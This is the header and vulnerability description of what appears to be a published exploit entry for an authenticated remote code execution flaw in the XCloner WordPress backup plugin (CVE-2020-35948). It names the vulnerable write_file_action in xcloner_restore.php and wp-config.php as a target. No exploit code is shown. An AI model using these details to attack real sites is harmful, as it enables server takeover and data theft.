# Exploit Title: WordPress Plugin XCloner 4.2.12 - Remote Code Execution (Authenticated)
# Date 30.06.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: https://www.xcloner.com/
# Software Link: https://downloads.wordpress.org/plugin/xcloner-backup-and-restore.4.2.12.zip
# Version: 4.2.1 - 4.2.12
# Tested on: Ubuntu 18.04
# CVE: CVE-2020-35948
# CWE: CWE-732
# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/CVE-2020-35948-Exploit/README.md

'''
Description:
An issue was discovered in the XCloner Backup and Restore plugin before 4.2.13 for WordPress. It gave authenticated attackers the ability to modify arbitrary files, 
including PHP files. Doing so would allow an attacker to achieve remote code execution. The xcloner_restore.php write_file_action could overwrite wp-config.php, 
for example. Alternatively, an attacker could create an exploit chain to obtain a database dump.
